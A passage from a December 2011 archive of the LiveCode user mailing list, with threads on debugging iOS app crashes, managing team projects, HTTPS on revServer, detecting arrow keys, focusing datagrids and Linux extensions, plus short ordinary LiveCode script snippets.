problem building for Android on 5.0.2 In-Reply-To: References: <1324256101528-4212532.post@n4.nabble.com> Message-ID: <1324257389874-4212595.post@n4.nabble.com> Hi Andre, Andre Garzia-3 wrote > > iOS builds are ARM Executables. Usually made from Objective-C but anything > that builds for ARM and that can interface with iOS/MacOS libraries and > frameworks is good to go. > I have no clue about android. I assume it is some sort of Dalvik VM > bytecode thingy but I don't know. > Great! Then it's true that the future of this platform is to output in multiple languages and platforms. In this year, we already test the SunnyPerl DLL, so the same could be made for Python and PHP. Hopefully, HTML5 and SWF are scheduled for a near future. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/problem-building-for-Android-on-5-0-2-tp4207082p4212595.html Sent from the Revolution - User mailing list archive at Nabble.com. From bvlahos at mac.com Sun Dec 18 20:17:13 2011 From: bvlahos at mac.com (Bill Vlahos) Date: Sun, 18 Dec 2011 17:17:13 -0800 Subject: How do I debug iOS app crashes? Message-ID: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> I have an app that works fine on Desktop computers but when I run it in the simulator it crashes the app when I do a particular thing. I've looked at all the code I don't see anything that should fail. Since I'm running it in the simulator I can't tell why it is crashing. How can I debug it? Bill Vlahos Sent from my iPhone From iowahengst at mac.com Sun Dec 18 20:31:50 2011 From: iowahengst at mac.com (Randy Hengst) Date: Sun, 18 Dec 2011 19:31:50 -0600 Subject: How do I debug iOS app crashes? In-Reply-To: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> References: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> Message-ID: Have you tried adding this handler to your stack script? on errorDialog pExecutionError, pParseError answer "An error occurred on line: " & item 2 of line 1 of pExecutionError end errorDialog be well, randy ----- On Dec 18, 2011, at 7:17 PM, Bill Vlahos wrote: > I have an app that works fine on Desktop computers but when I run it in the simulator it crashes the app when I do a particular thing. I've looked at all the code I don't see anything that should fail. > > Since I'm running it in the simulator I can't tell why it is crashing. How can I debug it? > > Bill Vlahos > > Sent from my iPhone > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From capellan2000 at gmail.com Sun Dec 18 21:16:07 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 18 Dec 2011 18:16:07 -0800 (PST) Subject: How did you manage programming teams in this platform? Message-ID: <1324260967891-4212777.post@n4.nabble.com> Hi all, Recently, a software developer explained me in detail about the system that their team uses in their platform of choice to develop their software and this makes me wonder how did the profesional developers works as a team in this platform. Thanks in advance! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/How-did-you-manage-programming-teams-in-this-platform-tp4212777p4212777.html Sent from the Revolution - User mailing list archive at Nabble.com. From andre at andregarzia.com Sun Dec 18 21:32:12 2011 From: andre at andregarzia.com (Andre Garzia) Date: Mon, 19 Dec 2011 00:32:12 -0200 Subject: How did you manage programming teams in this platform? In-Reply-To: <1324260967891-4212777.post@n4.nabble.com> References: <1324260967891-4212777.post@n4.nabble.com> Message-ID: Alejandro, For many years, I used Altuit MagicCarpet as my tool for managing team projects. It is great. It is the only tool that understands livecode stacks, so this is a plus. For my server side work and personal work, I tend to use mercurial because it allows to easy sharing with bitbucket. LiveCode stacks are not merge friendly and this will make you loose lots of advantages from using mercurial, git and svn but I don;t usually do merges so, I am still good. Andre On Mon, Dec 19, 2011 at 12:16 AM, Alejandro Tejada wrote: > Hi all, > > Recently, a software developer explained me in > detail about the system that their team uses > in their platform of choice to develop their software > and this makes me wonder how did the profesional > developers works as a team in this platform. > > Thanks in advance! > > Al > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/How-did-you-manage-programming-teams-in-this-platform-tp4212777p4212777.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- http://www.andregarzia.com -- All We Do Is Code. http://fon.nu -- minimalist url shortening service. From capellan2000 at gmail.com Sun Dec 18 21:47:31 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Sun, 18 Dec 2011 18:47:31 -0800 (PST) Subject: How did you manage programming teams in this platform? In-Reply-To: References: <1324260967891-4212777.post@n4.nabble.com> Message-ID: <1324262851194-4212835.post@n4.nabble.com> Hi Andre, Andre Garzia-3 wrote > > For many years, I used Altuit MagicCarpet as my tool for managing team > projects. It is great. It is the only tool that understands livecode > stacks, so this is a plus. > For my server side work and personal work, I tend to use mercurial because > it allows to easy sharing with bitbucket. LiveCode stacks are not merge > friendly and this will make you loose lots of advantages from using > mercurial, git and svn but I don;t usually do merges so, I am still good. > Could DropBox be used for this purpose? According to their documentation, they allowed to keep many versions of the same file, although I have not used this feature for stacks. http://www.dropbox.com/help/11 Ideally, a native LiveCode implementation of Rsync would help a lot in this direction: http://olstrans.sourceforge.net/release/OLS2000-rsync/OLS2000-rsync.html http://code.activestate.com/recipes/577518-rsync-algorithm/ Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/How-did-you-manage-programming-teams-in-this-platform-tp4212777p4212835.html Sent from the Revolution - User mailing list archive at Nabble.com. From jacque at hyperactivesw.com Sun Dec 18 23:26:31 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sun, 18 Dec 2011 22:26:31 -0600 Subject: revServer (on-rev) and https: In-Reply-To: <4EEE84DA.7060101@tweedly.net> References: <4EEE7A06.4030903@tweedly.net> <4EEE84DA.7060101@tweedly.net> Message-ID: <4EEEBCF7.2040100@hyperactivesw.com> On 12/18/11 6:27 PM, Alex Tweedly wrote: > Thanks, I have now tried that, but it jut gives me "can't find handler" > on libUrlSetSSLVerification. > > I don't think I need it on the desktop because Google has (I'm sure) a > valid certificate, so it ought to be the same for revserver. A few releases ago the desktop engine was changed to automatically look for certificates in the standard locations on the running OS, so now our code didn't have to. It sounds like the server doesn't do that. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bvlahos at mac.com Mon Dec 19 00:51:27 2011 From: bvlahos at mac.com (Bill Vlahos) Date: Sun, 18 Dec 2011 21:51:27 -0800 Subject: How do I debug iOS app crashes? In-Reply-To: References: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> Message-ID: <6D25B925-66D7-4B13-9FCC-053510F735DC@mac.com> Randy, Nifty suggestion. I'll have to remember it for the future. Unfortunately it doesn't help as the app just crashes and quits without displaying the error. Bill Vlahos _________________ InfoWallet (http://www.infowallet.com) is about keeping your important life information with you, accessible, and secure. On Dec 18, 2011, at 5:31 PM, Randy Hengst wrote: > Have you tried adding this handler to your stack script? > > on errorDialog pExecutionError, pParseError > answer "An error occurred on line: " & item 2 of line 1 of pExecutionError > end errorDialog > > be well, > randy > ----- > On Dec 18, 2011, at 7:17 PM, Bill Vlahos wrote: > >> I have an app that works fine on Desktop computers but when I run it in the simulator it crashes the app when I do a particular thing. I've looked at all the code I don't see anything that should fail. >> >> Since I'm running it in the simulator I can't tell why it is crashing. How can I debug it? >> >> Bill Vlahos >> >> Sent from my iPhone >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From stephenREVOLUTION2 at barncard.com Mon Dec 19 02:31:31 2011 From: stephenREVOLUTION2 at barncard.com (stephen barncard) Date: Sun, 18 Dec 2011 23:31:31 -0800 Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: DropBox. Cross platform and free up to 2 gig. https://www.dropbox.com/ the best of the storage services and growing. On 18 December 2011 11:41, Bob Earp wrote: > The Problem: > I support a bunch of seniors located around the world that wish to share > files on occasions. Small files are OK as they get attached to eMail, but > large files are a bugger. Unfortunately the site being used is on a shared > server, so web site solutions such as Remository time-out. I can ftp the > files to the server, but then the problem is most of the other users are > absolute neophytes when it comes to ftp clients. Yep, I know clients like > FileZilla are not that difficult to set up and use, but you try to step an > 80 year old through the process, and expect them to remember it !! > > The Solution: > We can use a fixed (hard wIred) URL, so I was thinking of putting together > a "Neophytes ftp Client" with the following features (hopefully); > > - Cross platform (no problem with that using LC) > - Start & Stop buttons which connect or disconnect the stack to the > server. Just so the user can see that things are working. > - Field with list of files at the remote URL with (preferably) file name & > extension, date and size. > - Upload button that opens a dialogue box to select a file from the local > machine. > - Download button that requires the user to select a file from the list of > remote files > - Upload/Download progress bar (nice to have) > > Before I start to create something from scratch, it came to mind that > somebody may have already written something with similar features. Anybody > know of such ? > > Thanks, Bob... > > > > Bob Earp > White Rock, British Columbia. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > -- Stephen Barncard San Francisco Ca. USA more about sqb From bdrunrev at gmail.com Mon Dec 19 08:20:52 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Mon, 19 Dec 2011 13:20:52 +0000 Subject: revServer (on-rev) and https: In-Reply-To: <4EEE84DA.7060101@tweedly.net> References: <4EEE7A06.4030903@tweedly.net> <4EEE84DA.7060101@tweedly.net> Message-ID: If it can't find that handler in the internet library, then that suggests that the internet library is not fully loaded. Unless later versions of libURL have removed that handler. I can't see why they would do that - there might still be situations where one needs to bypass the certificate verification. Bernard On Mon, Dec 19, 2011 at 12:27 AM, Alex Tweedly wrote: > Thanks, I have now tried that, but it jut gives me "can't find handler" on > libUrlSetSSLVerification. > > I don't think I need it on the desktop because Google has (I'm sure) a valid > certificate, so it ought to be the same for revserver. > > -- Alex. From warren at howsoft.com Mon Dec 19 09:16:31 2011 From: warren at howsoft.com (Bob Warren) Date: Mon, 19 Dec 2011 12:16:31 -0200 Subject: [ANN] Extensions for LiveCode/Linux Message-ID: <4EEF473F.7020507@howsoft.com> In case you missed Rev's announcement a few weeks back, and now that the site is complete, Linux fans might find the following extensions useful: 1. UTF-8 Stack Template 2. UTF-8 Function Demo 3. Accent-Blind International Bubble Sort 4. UTF-8 Text Editor 5. Shell Without Wait 6. Web Browser (WebKit engine) 7. Web Browser (PB WebKitGtk Library) 8. UTF-8 Compliant Picture Chooser And here's where you will find them: http://www.howsoft.com/runrev/extensions/ From mcgrath3 at mac.com Mon Dec 19 09:20:38 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Mon, 19 Dec 2011 09:20:38 -0500 Subject: Happy Ho ! Ho ! In-Reply-To: References: Message-ID: <631110C5-E995-4A11-8097-6BF1C2794099@mac.com> Thank you so much, and I also wish everyone the best of health, family, friends and peace for the new year and thank you for being there for me this past year. -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net On Dec 18, 2011, at 2:13 PM, Bob Earp wrote: > From the centre of the universe (White Rock, British Columbia), here's thanking everybody on the list for fantastic support over the last year, I don't know of another developer group that supports each other so well. > > Do have some very happy and safe holidays, and I wish you all a healthy 2012 !! > > Kind regards, Bob... > > > Bob Earp > White Rock, British Columbia. > > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mcgrath3 at mac.com Mon Dec 19 09:26:28 2011 From: mcgrath3 at mac.com (Thomas McGrath III) Date: Mon, 19 Dec 2011 09:26:28 -0500 Subject: How do I debug iOS app crashes? In-Reply-To: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> References: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> Message-ID: Bill, Take good look at any openStack messages for crashes at start up. I have had to move certain things into a preOpenStack handler which seems to work better on iOS. As is the standard for debugging I first look at startup scripts and then move right to I/O scripts and then to the creating, editing and deleting of objects and lastly to complex storage of info schemes. I do a systematic commenting out of handlers and try again when converting desktop apps to iOS. -- Tom McGrath III http://lazyriver.on-rev.com 3mcgrath at comcast.net On Dec 18, 2011, at 8:17 PM, Bill Vlahos wrote: > I have an app that works fine on Desktop computers but when I run it in the simulator it crashes the app when I do a particular thing. I've looked at all the code I don't see anything that should fail. > > Since I'm running it in the simulator I can't tell why it is crashing. How can I debug it? > > Bill Vlahos > > Sent from my iPhone > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From mark.hausmann at jessenlenz.com Mon Dec 19 09:37:56 2011 From: mark.hausmann at jessenlenz.com (mark.hausmann at jessenlenz.com) Date: Mon, 19 Dec 2011 15:37:56 +0100 Subject: =?ISO-8859-1?Q?AUTO=3A_Mark_Hausmann=2Fjl1_ist_au=DFer_Haus=2E_=28?= =?ISO-8859-1?Q?R=FCckkehr_am_02=2E01=2E2012=29?= Message-ID: Ich bin bis 02.01.2012 abwesend Ich werde Ihre Nachricht nach meiner R?ckkehr beantworten. In dringenden F?llen wenden Sie sich bitte an meinen Kollegen Horst Strohkirch, email: horst.strohkirch at pdap.de Hinweis: Dies ist eine automatische Antwort auf Ihre Nachricht "Re: revServer (on-rev) and https:" gesendet am 19.12.2011 14:20:52. Diese ist die einzige Benachrichtigung, die Sie empfangen werden, w?hrend diese Person abwesend ist. From mazzapaoloitaly at gmail.com Mon Dec 19 09:51:17 2011 From: mazzapaoloitaly at gmail.com (paolo mazza) Date: Mon, 19 Dec 2011 15:51:17 +0100 Subject: arrowKey Message-ID: Hi All, how can I check if the "arrowKey up" is down or is up ? For example, for the option Key I can write .. if the optioKey is down then..., for the mouse I can write ... if the mouse is down then ... What about the arrow keys ? All the best Paolo From andrew at rjdfarm.com Mon Dec 19 11:12:58 2011 From: andrew at rjdfarm.com (Andrew Kluthe) Date: Mon, 19 Dec 2011 08:12:58 -0800 (PST) Subject: [ANN] Extensions for LiveCode/Linux In-Reply-To: <4EEF473F.7020507@howsoft.com> References: <4EEF473F.7020507@howsoft.com> Message-ID: <1324311177984-4214640.post@n4.nabble.com> Im looking at the webkit extension now. Looks nice. Only other requirement is python, correct? -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/ANN-Extensions-for-LiveCode-Linux-tp4214251p4214640.html Sent from the Revolution - User mailing list archive at Nabble.com. From roger.e.eller at sealedair.com Mon Dec 19 11:24:08 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Mon, 19 Dec 2011 11:24:08 -0500 Subject: [ANN] Extensions for LiveCode/Linux In-Reply-To: <4EEF473F.7020507@howsoft.com> References: <4EEF473F.7020507@howsoft.com> Message-ID: On Mon, Dec 19, 2011 at 9:16 AM, Bob Warren wrote: > In case you missed Rev's announcement a few weeks back, and now that the > site is complete, Linux fans might find the following extensions useful: > > 1. UTF-8 Stack Template > 2. UTF-8 Function Demo > 3. Accent-Blind International Bubble Sort > 4. UTF-8 Text Editor > 5. Shell Without Wait > 6. Web Browser (WebKit engine) > 7. Web Browser (PB WebKitGtk Library) > 8. UTF-8 Compliant Picture Chooser > > And here's where you will find them: > > http://www.howsoft.com/runrev/extensions/ All I can say is RunRev should hire you as their Linux guy! They NEED a Linux guy, imho. These extensions are great! Thanks for sharing them. ?Roger From bonnmike at gmail.com Mon Dec 19 11:28:47 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Mon, 19 Dec 2011 09:28:47 -0700 Subject: arrowKey In-Reply-To: References: Message-ID: I'm sure this doesn't cover every possibility but will something like the following work? -- in the card I put on arrowKey pKey set the cKeyDown of this stack to pKey pass arrowKey end arrowKey on rawKeyUp pKey if pKey is among the items of "65361,65362,65363,65364" then if the cKeyDown of this stack is not empty then set the cKeyDown of this stack to empty end if pass rawKeyUp end rawKeyUp --And in a button I put local tRunning on mouseUp if tRunning is empty then put false into tRunning put not tRunning into tRunning checkarrow end mouseUp command checkArrow if tRunning then switch (the cKeyDown of this stack is empty) case false put the cKeyDown of this stack break case true put "No Key is down" break end switch send checkArrow to me in 10 milliseconds end if end checkArrow Depending on your needs this might be enough. It doesn't handle 2 arrow keys being pressed (shouldn't be too bad to modify it so that you can handle multiple arrow presses, instead of just checking against ALL arrow keycodes could have a property for each direction keycode and only wipe out the specific arrow key that is released) To test, set up the stack as described, click the button to start the monitoring and then hit your keys. Should show results in the msg box. On Mon, Dec 19, 2011 at 7:51 AM, paolo mazza wrote: > Hi All, > how can I check if the "arrowKey up" is down or is up ? > > For example, for the option Key I can write .. if the optioKey is down > then..., for the mouse I can write ... if the mouse is down then ... > > What about the arrow keys ? > > All the best > > Paolo > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From henshaw at me.com Mon Dec 19 11:29:03 2011 From: henshaw at me.com (Andrew Henshaw) Date: Mon, 19 Dec 2011 16:29:03 +0000 Subject: How do I debug iOS app crashes? In-Reply-To: References: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> Message-ID: <75102CF5-935B-4810-A509-AC355003477D@me.com> You can also add the following to your top stack as it will catch a lot of the errors and give an idea as to where the issue is... on errorDialog pExecutionError, pParseError if item 2 of line 1 of pExecutionError is 0 then answer "An error occurred " & cr & cr & pExecutionError else answer "An error occurred on line: " & item 2 of line 1 of pExecutionError end if end errorDialog On 19 Dec 2011, at 14:26, Thomas McGrath III wrote: > Bill, > > Take good look at any openStack messages for crashes at start up. I have had to move certain things into a preOpenStack handler which seems to work better on iOS. > As is the standard for debugging I first look at startup scripts and then move right to I/O scripts and then to the creating, editing and deleting of objects and lastly to complex storage of info schemes. > > I do a systematic commenting out of handlers and try again when converting desktop apps to iOS. > > > -- Tom McGrath III > http://lazyriver.on-rev.com > 3mcgrath at comcast.net > > On Dec 18, 2011, at 8:17 PM, Bill Vlahos wrote: > >> I have an app that works fine on Desktop computers but when I run it in the simulator it crashes the app when I do a particular thing. I've looked at all the code I don't see anything that should fail. >> >> Since I'm running it in the simulator I can't tell why it is crashing. How can I debug it? >> >> Bill Vlahos >> >> Sent from my iPhone >> >> _______________________________________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your subscription preferences: >> http://lists.runrev.com/mailman/listinfo/use-livecode > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From warren at warrensweb.us Mon Dec 19 11:42:40 2011 From: warren at warrensweb.us (Warren Samples) Date: Mon, 19 Dec 2011 10:42:40 -0600 Subject: [ANN] Extensions for LiveCode/Linux In-Reply-To: <1324311177984-4214640.post@n4.nabble.com> References: <4EEF473F.7020507@howsoft.com> <1324311177984-4214640.post@n4.nabble.com> Message-ID: <4EEF6980.7020802@warrensweb.us> On 12/19/2011 10:12 AM, Andrew Kluthe wrote: > Im looking at the webkit extension now. Looks nice. > > Only other requirement is python, correct? You may need to install the python-webkitGTK bindings. Would not run initially on my system, openSUSE, but installing the bindings allows the python browser to run. The purebasic demo does not work. Warren From jacque at hyperactivesw.com Mon Dec 19 11:46:51 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Mon, 19 Dec 2011 10:46:51 -0600 Subject: How do I debug iOS app crashes? In-Reply-To: <6D25B925-66D7-4B13-9FCC-053510F735DC@mac.com> References: <7577DCF2-6143-49BA-982B-589DAB9351C5@mac.com> <6D25B925-66D7-4B13-9FCC-053510F735DC@mac.com> Message-ID: <4EEF6A7B.90308@hyperactivesw.com> On 12/18/11 11:51 PM, Bill Vlahos wrote: > Unfortunately it doesn't help as the app just crashes and quits > without displaying the error. A crash usually doesn't throw an error, the engine just seizes up and immediately quits. You can sometimes get a clue by looking at the crash log, though they're usually gibberish to the uninitiated. But sometimes one of the top lines will at least tell you what was trying to happen when the crash occurred and you might be able to figure out what handler was running. Crashes should be reported in the QCC. The engine may not like what you're trying to do, but it should always exit gracefully and it needs to be fixed. Include the crash log in your report. You can find the crash log in the Console app on Mac. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bobs at twft.com Mon Dec 19 12:22:12 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 19 Dec 2011 09:22:12 -0800 Subject: Happy Ho ! Ho ! In-Reply-To: References: Message-ID: Isn't there some kind of award for that? Bob On Dec 18, 2011, at 11:13 AM, Bob Earp wrote: > I don't know of another developer group that supports each other so well. From userev at canelasoftware.com Mon Dec 19 12:43:48 2011 From: userev at canelasoftware.com (Mark Talluto) Date: Mon, 19 Dec 2011 09:43:48 -0800 Subject: Wanted: Neophytes ftp Client In-Reply-To: References: Message-ID: <20B443A2-A72F-4CD9-9AD3-C8AB2921A09A@canelasoftware.com> On Dec 18, 2011, at 11:41 AM, Bob Earp wrote: > > Before I start to create something from scratch, it came to mind that somebody may have already written something with similar features. Anybody know of such ? Bob, I put a file on RevNet that is free to use and modify that does FTP to your own server. RevNet should be in your plugins folder via LiveCode. The file is called CS FTP. If you have any problems locating it, let me know. Best regards, Mark Talluto http://www.canelasoftware.com From bobs at twft.com Mon Dec 19 12:45:13 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 19 Dec 2011 09:45:13 -0800 Subject: arrowKey In-Reply-To: References: Message-ID: <2280F5CC-37CF-4AB1-ABAC-7C6730B6EEE2@twft.com> On Dec 19, 2011, at 6:51 AM, paolo mazza wrote: > Hi All, > how can I check if the "arrowKey up" is down or is up ? > > For example, for the option Key I can write .. if the optioKey is down > then..., for the mouse I can write ... if the mouse is down then ... > > What about the arrow keys ? > > All the best > > Paolo on arrowKey theKey switch theKey case "Up" case "Down" case "Left" case "Right" end switch pass arrowKey end arrowKey Pretty simple. You can also use the keysDown() function which will return the same codes as rawKeyDown, so write a couple simple scripts to see which codes are for which arrows. They may not be the same on all platforms tho' so test with Windows, Mac and Linux to be sure. In the card script put: on escapeKey answer "Keysnatcher is off!" as sheet exit to top end escapeKey In a button on the card put: on mouseUp repeat put keysdown() into theKeysDown if theKeysDown is not empty then answer theKeysDown as sheet end if wait one second with messages end repeat pass mouseUp end mouseUp Bob From bobs at twft.com Mon Dec 19 13:25:57 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 19 Dec 2011 10:25:57 -0800 Subject: Cannot focus on a datagrid?? Message-ID: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> Hi all. Is this normal? I have in a script (or the message box) focus on group "dgSites". This is a datagrid. I get an error: Message execution error: Error description: focus: not a valid control Hint: A datagrid is not a valid control for receiving the focus command?? Isn't that odd? Or is it a bug? Of course I can hack around it by using: focus on nothing;tabKey But you all know how I HATE to hack around things.... mmm..... okay I can't back that up. But still! Bob From warren at warrensweb.us Mon Dec 19 13:39:36 2011 From: warren at warrensweb.us (Warren Samples) Date: Mon, 19 Dec 2011 12:39:36 -0600 Subject: [ANN] Extensions for LiveCode/Linux In-Reply-To: <4EEF473F.7020507@howsoft.com> References: <4EEF473F.7020507@howsoft.com> Message-ID: <4EEF84E8.3050200@warrensweb.us> On 12/19/2011 08:16 AM, Bob Warren wrote: > In case you missed Rev's announcement a few weeks back, and now that the > site is complete, Linux fans might find the following extensions useful: > > 1. UTF-8 Stack Template > 2. UTF-8 Function Demo > 3. Accent-Blind International Bubble Sort > 4. UTF-8 Text Editor > 5. Shell Without Wait > 6. Web Browser (WebKit engine) > 7. Web Browser (PB WebKitGtk Library) > 8. UTF-8 Compliant Picture Chooser > > And here's where you will find them: > > http://www.howsoft.com/runrev/extensions/ > In the python-webkit browser demo, it seems the python processes are not terminated by closing the browser or quitting Livecode. Also, I am unable to close the window of the fullscreen demos except by killing the process. Are these things expected behavior? Warren From zryip.theslug at gmail.com Mon Dec 19 14:14:02 2011 From: zryip.theslug at gmail.com (zryip theSlug) Date: Mon, 19 Dec 2011 20:14:02 +0100 Subject: Cannot focus on a datagrid?? In-Reply-To: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> References: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> Message-ID: On Mon, Dec 19, 2011 at 7:25 PM, Bob Sneidar wrote: > Hi all. Hi Bob, > Is this normal? I have in a script (or the message box) focus on group "dgSites". This is a datagrid. I get an error: > Message execution error: > Error description: focus: not a valid control > Hint: > > A datagrid is not a valid control for receiving the focus command?? Isn't that odd? Or is it a bug? Of course I can hack around it by using: > focus on nothing;tabKey > > But you all know how I HATE to hack around things.... ?mmm..... okay I can't back that up. But still! Have you tried to use the dgFocus property from the datagrid API? set the dgFocus of group "DataGrid" to {true | false} Best Regards, -- -Zryip TheSlug- wish you the best! 8) http://www.aslugontheroad.com From lists at mangomultimedia.com Mon Dec 19 14:30:12 2011 From: lists at mangomultimedia.com (Trevor DeVore) Date: Mon, 19 Dec 2011 14:30:12 -0500 Subject: Cannot focus on a datagrid?? In-Reply-To: References: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> Message-ID: On Mon, Dec 19, 2011 at 2:14 PM, zryip theSlug wrote: > > Have you tried to use the dgFocus property from the datagrid API? > > set the dgFocus of group "DataGrid" to {true | false} > This is how it must be done as groups cannot receive focus in LiveCode. The data grid will shift focus to a group internal to the data grid group when you set the dgFocus to true. -- Trevor DeVore Blue Mango Learning Systems www.clarify-it.com - www.screensteps.com From bobs at twft.com Mon Dec 19 14:47:40 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 19 Dec 2011 11:47:40 -0800 Subject: Cannot focus on a datagrid?? In-Reply-To: References: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> Message-ID: <4B17B30A-7683-4A56-B1A9-5FB87680EE45@twft.com> I learn something new every day! Bob On Dec 19, 2011, at 11:30 AM, Trevor DeVore wrote: > On Mon, Dec 19, 2011 at 2:14 PM, zryip theSlug wrote: > >> >> Have you tried to use the dgFocus property from the datagrid API? >> >> set the dgFocus of group "DataGrid" to {true | false} >> > > This is how it must be done as groups cannot receive focus in LiveCode. The > data grid will shift focus to a group internal to the data grid group when > you set the dgFocus to true. > > -- > Trevor DeVore > Blue Mango Learning Systems > www.clarify-it.com - www.screensteps.com > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Mon Dec 19 14:59:34 2011 From: bobs at twft.com (Bob Sneidar) Date: Mon, 19 Dec 2011 11:59:34 -0800 Subject: Cannot focus on a datagrid?? In-Reply-To: References: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> Message-ID: <7A0AE412-C71F-4E61-AD7F-FAC5A323CF5C@twft.com> I will give that a try! On another note, I have run into a problem with setting the dgProp["column widths"] to a list containing a vlue something less that the hard minimum of 40. I found in the datagrid library where it sets the minimum column width of new columns to a literal value of 40, so I changed it to 20. Having seen how it's done, I do not suppose there is a command to set the defaultMinimumColumnWidth to something, so this would be a great thing to add in the future. Not sure if there are unseen ramifications though. Bob On Dec 19, 2011, at 11:14 AM, zryip theSlug wrote: > On Mon, Dec 19, 2011 at 7:25 PM, Bob Sneidar wrote: >> Hi all. > > Hi Bob, > >> Is this normal? I have in a script (or the message box) focus on group "dgSites". This is a datagrid. I get an error: >> Message execution error: >> Error description: focus: not a valid control >> Hint: >> >> A datagrid is not a valid control for receiving the focus command?? Isn't that odd? Or is it a bug? Of course I can hack around it by using: >> focus on nothing;tabKey >> >> But you all know how I HATE to hack around things.... mmm..... okay I can't back that up. But still! > > Have you tried to use the dgFocus property from the datagrid API? > > set the dgFocus of group "DataGrid" to {true | false} > > > Best Regards, > -- > -Zryip TheSlug- wish you the best! 8) > http://www.aslugontheroad.com From lists at mangomultimedia.com Mon Dec 19 15:30:37 2011 From: lists at mangomultimedia.com (Trevor DeVore) Date: Mon, 19 Dec 2011 15:30:37 -0500 Subject: Cannot focus on a datagrid?? In-Reply-To: <7A0AE412-C71F-4E61-AD7F-FAC5A323CF5C@twft.com> References: <9DDEA5D9-3490-4EA1-B3B4-9D8396E0D49E@twft.com> <7A0AE412-C71F-4E61-AD7F-FAC5A323CF5C@twft.com> Message-ID: On Mon, Dec 19, 2011 at 2:59 PM, Bob Sneidar wrote: > I will give that a try! On another note, I have run into a problem with > setting the dgProp["column widths"] to a list containing a vlue something > less that the hard minimum of 40. I found in the datagrid library where it > sets the minimum column width of new columns to a literal value of 40, so I > changed it to 20. Having seen how it's done, I do not suppose there is a > command to set the defaultMinimumColumnWidth to something, so this would be > a great thing to add in the future. Not sure if there are unseen > ramifications though. There is a setting for that. You have to set the dgColumnMinWidth for each column. -- Trevor DeVore Blue Mango Learning Systems www.clarify-it.com - www.screensteps.com From kray at sonsothunder.com Mon Dec 19 16:02:54 2011 From: kray at sonsothunder.com (Ken Ray) Date: Mon, 19 Dec 2011 15:02:54 -0600 Subject: Are the 'ask file' and 'answer file' stacks modal or not? In-Reply-To: <4EEE4B6D.90403@fourthworld.com> References: <77C80F88-9807-4806-983B-D91C293B2F57@sonsothunder.com> <4EEE4B6D.90403@fourthworld.com> Message-ID: On Dec 18, 2011, at 2:22 PM, Richard Gaskin wrote: > Ken Ray wrote: > >> On Dec 17, 2011, at 7:08 PM, Joe Lewis Wilkins wrote: >> >>> But then we have the "as sheet" parameter do we not? >> >> For Mac, yes? but not for any other OS? > > Yes and no: the "sheet" effect only works on OS X where that's the convention, but using the "as sheet" option on Windows (and Linux too IIRC) causes the dialog to open 